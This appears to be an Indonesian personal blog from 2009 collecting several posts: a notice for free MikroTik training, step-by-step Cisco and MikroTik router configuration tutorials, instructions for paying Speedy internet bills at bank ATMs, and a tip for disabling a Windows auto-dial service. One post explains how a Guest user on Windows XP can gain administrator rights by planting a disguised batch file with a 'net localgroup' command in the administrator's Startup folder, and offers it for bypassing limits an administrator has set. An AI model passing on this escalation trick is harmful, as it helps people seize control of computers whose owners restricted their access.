Monday, February 16, 2009

Training MikroTik RouterOS FREE


Kepada temen - temen yang mau belajar MikroTik OS Besok Sabtu tanggal 21 Februari 2009 ada Pelatihan Gratis tentang Mikrotik, Mulai dari setting server Mikrotik secara sederhana sampai setting Mikrotik sebagai billing hotspot. kalau mau silahkan dateng ke Jl . Gedong Batu Timur 203 i rumahnya mas Pudin (Untuk IKR Speedy di wajibkan untuk datang)

Untuk Modul 1st day bisa di download di sini
Untuk Modul 2nd day bisa di download di sini
Untuk OS Mikrotik 2.9.27 bisa di download di sini
Untuk Aplikasi Winbox bisa di download di sini
Untuk Referensi Winbox bisa di download di sini
Untuk Referensi server dengan Mikrotik download di sini
Untuk Referensi konfigurasi Load Balancing download di sini
Untuk Referensi konfigurasi Load Balancing Fail Over download di sini
Untuk Referensi Konfigurasi Hot Spot Mikrotik download di sini
Untuk Referensi Server mikrotik dengan billing UTM 5 download di sini
Untuk Manual Guide Mikrotik bisa di download di sini
Untuk Referensi Step-by-step setting mikrotik download di sini

Friday, February 13, 2009

PERINTAH DAN KONFIGURASI DASAR ROUTER CISCO (1)

Untuk men-setup router cisco kita membutuhkan 1 PC untuk konfigurasinya atau interaksinya, bisa lewat console atau lewat Jaringan.
Jika kita lewat console maka kita memerlukan kabel rollover untuk menghubungkan router dengan PC. Untuk men-setup router lewat console kita memerlukan aplikasi Hyper Terminal dari PC tersebut.
Sedangkan jika kita ingin mengkonfigurasi router lewat Jaringan maka kita membutuhkan aplikasi telnet, Dengan cara ini kita bisa mengkonfigurasi router dari mana saja tidak harus berada di dekat router.
Pada saat kita masuk ke router kita akan masuk ke User Mode, pada akses User Mode kita tidak dapat mengkonfigurasi router, kita hanya bisa melihat konfigurasi router. Pada User Mode tanda promptnya berupa > .
Jika kita ingin mengkonfigurasi router kita harus masuk ke Privileged Mode, untuk berpindah ke Privileged Mode kita ketikkan perintah enable pada prompt.

router > enable

prompt akan berubah menjadi # jika kita sudah masuk ke Privileged Mode, untuk keluar dari Privileged Mode kita tinggal ketikkan disable pada perintah promptnya.

router # disable

Untuk konfigurasi interface dan lain-lain kita bisa masuk dengan cara pertama masuk ke Mode Privileged kemudian masuk ke configure terminal untuk masuk ke konfigurasi secara global.

router # configure terminal

untuk keluar dari configure terminal ketik saja exit untuk kembali ke semula.

router (config)# exit

jika kita mengalami kesulitan tinggal ketik ? untuk failitas help-nya.
Untuk membuat password agar masuk ke privileged pada router cisco terdapat 2 pilihan yaitu enable password password_anda dan enable secret password_anda_rahasia. Perbedaannya adalah jika kita menggunaan enable password ; password kita tidak terenkripsi sedangkan jika kita menggunakan enable secret; password kita terenkripsi, dan jika kita mengetikkan keduanya maka yang digunakan adalah enable secret.

Router (config)# enable password rahasia
Router (config)# enable secret rahasia123

Untuk menghilangkan password kita tinggal nambahkan no pada perintah prompt.

Router (config)# no enable secret rahasia123

Sedangkan untuk password console (maksudnya jika kita mau setting lewat console kita di minta memasukkan password sebelum masuk ke router) perintahnya sebagai berikut

Router > enable
Router # configure terminal
Router (config)# line console 0
Router (config-line)#login
Router (config-line)#password rahasia

Maksud perintah di atas adalah password untuk masuk ke router lewat console adalah rahasia.
Sedangkan untuk password telnet perintahnya sebagai berikut :

Router > enable
Router # configure terminal
Router (config)# line vty 0 4
Router (config-line)#password rahasialagi

Maksud di atas adalah kita bisa memakai 5 (5 itu 0 sampai 4) koneksi virtual terminal secara bersamaan, dan jika kita mau login masuk ke router lewat telnet kita diminta memasukkan password rahasialagi.

Untuk mengkonfigurasi interface kita harus masuk ke mode privileged kemudian masuk ke configure terminal, setelah itu masuk ke interface Ethernet nomer_slot/nomer_port , setelah masuk ke interface yang di inginkan kemudian isi ip address dengan perintah ip address ip_address subnet_mask. Untuk memberi comment ketikkan perintah description LINK ke Jakarta, maksudnya adalah kita memberi comment pada Ethernet ini menuju ke link Jakarta. Pada akhiran kita ketik no shutdown untuk mengaktifkan interface tersebut

Router # configure terminal
Router (config)# interface Ethernet 1/0
Router (config-if)# ip address 10.10.10.1 255.255.255.0
Router (config-if)# description LINK ke Jakarta
Router(config-if)#no shutdown

Untuk selanjutnya setting interface serial, untuk setting interface serial kita membutuhkan clocking dari service provider untuk sinkronisasi. Pada setting serial kita membutuhkan 2 sisi berbeda yaitu DTE (Data Terminal Equipment) biasanya mempunyai koneksi male (jantan) dan koneksi DTE biasanya mengikuti clocking dari DCE. Sedangkan satunya yaitu DCE (Data Circuit-terminating equipment) yang memberikan clocking dan mempunyai koneksi female (perempuan). Pada kenyataannya DCE terkoneksi ke CSU/DSU (Modem), dan router hanya di setting DTE. Tapi untuk menguji router, kita bisa membuat salah satu router sebagai DCE yang memberikan clocking agar bisa terkoneksi antar router. Settingannya seperti di bawah ini :

Contoh Setting serial DTE

Router # configure terminal
Router(config)# interface serial 0
Router(config-if)#ip address 202.202.202.2 255.255.255.252
Router(config-if)#description LINK ke ISP
Router(config-if)#no shutdown

Contoh Setting serial DCE

Router # configure terminal
Router(config)# interface serial 0
Router(config-if)#ip address 202.202.202.2 255.255.255.252
Router(config-if)#description LINK ke ISP
Router(config-if)#clock rate 64000
Router(config-if)#no shutdown

Perintah no shutdown untuk mengaktifkan interface, jikakita ingin men-disable kita tinggal ketik shutdown pada perintah konfigurasi interface.

Router(config-if)#shutdown


To be continued

Merubah GUEST menjadi ADMINISTRATOR di WIN XP

Kadang kala kita menghadapi komputer di mana di limit hak aksesnya bahkan kita tidak bisa mengganti ip addres, menginstall program maupun mengubah system. agar kita bisa bertindak sebagai administrator meskipun login sebagai guest, langkah-langkahnya sebagai berikut :

1. Buka command prompt
2. ketik net user Guest --------> untuk melihat hak akses user Guest
3. buat 1 file *.BAT dengan isi sebagai berikut :

@echo off
net localgroup Administrator Guest/add
exit

4. kemudian file tersebut simpan dengan nama apa saja yang tidak mencurigakan asalkan ber-extensi .BAT . simpan file tersebut pada C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
5. Tunggu hingga sang administrator menjalankan computer dan file yang kita buat tadi berjalan.
6. jika sudah maka cek kembali status kita pada command prompt. sekarang kita menjadi Guest sekaligus administrator pada Local Group Membership.

Semoga membantu rekan-rekan yang usernya di limit oleh administrator : )
Selamat Mencoba ........................

Sunday, February 8, 2009

Setting mikrotik Sederhana

Kemaren dapet tugas setting router mikrotik di SMA Semesta karena masih awam tentang mikrotik maka aku goggling-gogling dapet deh konfiguasi setting Mikrotik secara sederhana.

Langkah-langkahnya sebagai berikut :

1. Langkah pertama adalah install Mikrotik RouterOS pada PC.

2. Kemudian Login:

MikroTik v2.9.7

Login: admin

Password:

User default adalah admin dan tanpa password

3. Untuk mengganti password default yaitu dengan cara :

[admin@Mikrotik] > password

old password: *****

new password: *****

retype new password: *****

4. Untuk mengganti nama Mikrotik,

[admin@Mikrotik] > system identity set name=router

[admin@router] > ---------> Nama sudah berganti dari Mikrotk menjadi router

5. Sebelum kita mensetting kita lihat interface pada Mikrotik Router

[admin@router] > interface print

Flags: X - disabled, D - dynamic, R - running

# NAME TYPE RX-RATE TX-RATE MTU

0 R ether1 ether 0 0 1500

1 R ether2 ether 0 0 1500

[admin@router] >

6. Kemudian memberikan IP address pada masing-masing interface. Misalkan ether1 akan kita gunakan untuk koneksi ke Internet dengan IP 202.202.202.2 dan ether2 akan kita gunakan untuk network local kita dengan IP 192.168.1.1

[admin@router] > ip address add address=202.202.202.2 netmask=255.255.255.0 interface=ether1

[admin@router] > ip address add address=192.168.1.1 netmask=255.255.255.0 interface=ether2

7. Jika ingin melihat IP address yang sudah ada :

[admin@router] >ip address print

Flags: X - disabled, I - invalid, D - dynamic

# ADDRESS NETWORK BROADCAST INTERFACE

0 202.202.202.2/24 202.202.202.0 202.202.202.255 ether1

1 192.168.1.1/24 192.168.1.0 192.168.1.255 ether2

8. Sekarang memberikan gateway (sebagai contoh gatewaynya adalah 202.202.202.1)

[admin@router] > ip route add gateway=202.202.202.1

9. Kita juga dapat Melihat Tabel routing, yaitu :

[admin@router] > ip route print

Flags: X - disabled, A - active, D - dynamic,

C - connect, S - static, r - rip, b - bgp, o - ospf

# DST-ADDRESS PREFSRC G GATEWAY DISTANCE INTERFACE

0 ADC 192.168.1.0/24 192.168.1.1 ether2

1 ADC 202.202.202.0/26 202.202.202.2 ether1

2 A S 0.0.0.0/0 r 202.202.202.1 ether1

10. Sekarang coba Tes dengan cara Ping ke Gateway

[admin@router] > ping 202.202.202.1

202.202.202.1 64 byte ping: ttl=64 time<1>

202.202.202.1 64 byte ping: ttl=64 time<1>

2 packets transmitted, 2 packets received, 0% packet loss

round-trip min/avg/max = 0/0.0/0 ms

[admin@router] >

11. Jika sudah kemudian Seting DNS

[admin@router] > ip dns set primary-dns=203.134.1.10 allow-remoterequests=no

[admin@router] > ip dns set secondary-dns=203.134.0.155 allow-remoterequests=no

12. Untuk melihat konfigurasi dari DNS

[admin@router] > ip dns print

primary-dns: 203.134.1.10

secondary-dns: 203.134.0.155

allow-remote-requests: no

cache-size: 2048KiB

cache-max-ttl: 1w

cache-used: 16KiB

[admin@router] >

13. Coba tes untuk akses domain, sebagai contoh ping nama domain yahoo.com

[admin@router] > ping yahoo.com

216.109.112.135 64 byte ping: ttl=48 time=250 ms

10 packets transmitted, 10 packets received, 0% packet loss

round-trip min/avg/max = 571/571.0/571 ms

[admin@router] >

Jika ada reply jadi seting DNS kita sudah benar.

14. Sekarang Setup Masquerading, Jika Mikrotik kita akan dipergunakan sebagai gateway server maka perlu kita masquerading. Langkahnya sebagai berikut :

[admin@router] > ip firewall nat add action=masquerade outinterface=ether1 chain: srcnat

[admin@router] >

15. kita lihat konfigurasi Masquerading

[admin@router] >ip firewall nat print

Flags: X - disabled, I - invalid, D - dynamic

0 chain=srcnat out-interface=ether1 action=masquerade

[admin@router] >

Coba test dari client dengan cara isi ip addres client menjadi 192.168.1.2 – 192.168.1.254 dengan netmask 255.255.255.0 kemudian kasih gateway 192.168.1.1, setelah itu kita isi DNS dengan 202.134.1.10 untuk Prefered dan alternate isi 202.134.1.10. Kemudian coba dari klient browsing ke internet. Jika berhasil maka setingan kita sudah benar. Jika kita menginginkan client mendapatkan IP address secara otomatis maka perlu kita setup dhcp server pada Mikrotik.

Langkah-langkahnya sebagai berikut :

1.Bikin IP address pool

[admin@router] >ip pool add name=dhcp-pool ranges=192.168.1.100-192.168.1.200

2. Tambahkan DHCP Network dan gatewaynya yang akan didistribusikan ke client

[admin@router] >ip dhcp-server network add address=192.168.1.0/24 gateway=192.168.1.1

3. Tambahkan DHCP Server interface yang dipakai adalah interface local yaitu ether2

[admin@router] >ip dhcp-server add interface=ether2 address-pool=dhcp-pool

4. Cobalihat status DHCP server

[admin@Waton] >ip dhcp-server print

Flags: X - disabled, I - invalid

# NAME INTERFACE RELAY ADDRESS-POOL LEASE-TIME ADD-ARP

0 X dhcp1 ether2

Jika terdapat tanda X seperti pada keterangan diatas berarti menyatakan bahwa DHCP server masih Disable maka perlu dienablekan terlebih dahulu.

[admin@router] > ip dhcp-server enable 0

Coba cek kembali status DHCP Server, jika tanda X sudah tidak ada berarti sudah aktif.

6. Coba test kembali dari dari sisi klient dengan cara mengubah ip client menjadi obtain, jika client tersebut sudah mendapatkan ip dan gateway jg DNS seperti yang kita setting tadi maka DNS Server yang kita bikin bener. Coba di test kembali dengan cara pada sisi client browsing ke internet, jika client sudah dapat berinternet ria maka settingan kita sudah berhasil semua



Informasi di atas semoga membantu temen-temen yang lagi pertama-tama belajar mikrotik, jika ada kesalahan mohon koreksinya ya : )

silahkan download tulisan di atas di sini

Referensi :

http://mikrotik.com

Saturday, February 7, 2009

Bayar Speedy lewat ATM

Cuman ingin berbagi pengalaman aja sama pelanggan SPEEDY laen yang tidak ada waktu untuk dateng ke Plasa Telkom, hanya sekedar untuk membayar tagihan SPEEDY atau Telpon rumahnya.
Untuk Pembayaran dapat melalui ATM di Bank ini :

No. Bank
1 BCA
2 Mandiri
3 BNI
4 BII
5 Danamon
6 Bukopin
7 Niaga
8 Permata
9 Mega
10. dll


Untuk pembayaran Speedy dan telepon dibank BCA, UOB Buana, Bank Bukopin, Bank NISP, Bank Permata, Bank Maspion, BII, Panin Bank, BTN, Bank Syariah Mandiri, Bank Haga dapat dilakukan dengan cara yaitu :

Pilih Menu Pembayaran
o Pilih Menu Telepon/HP
o Pilih Menu TELKOM
o Wording : "Masukkan kode area + No.Telepon atau Masukkan 12 digit Nomor Speedy Anda"

Sedangkan untuk Bank lainnya dengan cara sebagai berikut :
• menu pembayaran TELKOM
• Menu Telepon/Flexi "Silahkan Masukkan Kode Area + Nomor Telepon/Flexi"
• Menu TELKOM Speedy "Silahkan Masukkan 12 digit Nomor Speedy".

Untuk Bank Niaga , menu pembayaran tagihan Speedy dimasukkan kedalam menu TELKOM, FLEXI, SPEEDY, dan tidak ada wording pemberitahuan cara memasukkan nomor Telepon/Flexi atau Speedy.

BNI , menu pembayaran tagihan Speedy dimasukkan kedalam Menu Internet dan sebelum memasukkan nomor Speedy harus didahului dengan angka nol.

Bank Mandiri , menu pembayaran tagihan Speedy dimasukkan kedalam menu TELKOM, dan sebelum memasukkan nomor Speedy harus didahului dengan angka nol.


Mungkin Informasi saya di atas dapat membantu temen-temen yang gak ada waktu untuk ke plasa telkom atau yang sering pulang malem.

Wednesday, February 4, 2009

Remote Access Auto Connection Manager Service

Mau bagi-bagi pengalaman aja nih .....

yaitu cara menghilangkan jendela dial-up otomatis.

Banyak aplikasi yang selalu mengontak server untuk mengupdate atau bahkan si trojan akan mengirim data kita ke servernya, lha ini cara untuk menonaktifkan dial-up otomatisnya agar si trojan gak kirim data-data kita ke servernya.

Untuk menonaktifkan menu jendela dial-up otomatis ini, matikan Remote Access Auto Connection Manager Service.Layanan ini akan menciptakan koneksi ke jaringan yang jauh ketika sebuah program mencatat sebuah nama atau alamat DNS atau NetBIOS yang jauh. Untuk mematikan layanan ini, coba langkah-langkah berikut:

1. klik kanan pada My Computer kemudian pilih services
2. jika sudah muncul jendela services cari di sebelah kanan Remote Access Auto Connection Manager kemudian klik 2 kali aja
3. jika sudah masuk Remote Access Auto Connection Manager properties cari pada startup kemudian pilih disabled lalu pilih OK
4. beres deh tinggal sering2 aja kita mengupdate antivirus kita untuk proteksi yang lebih optimal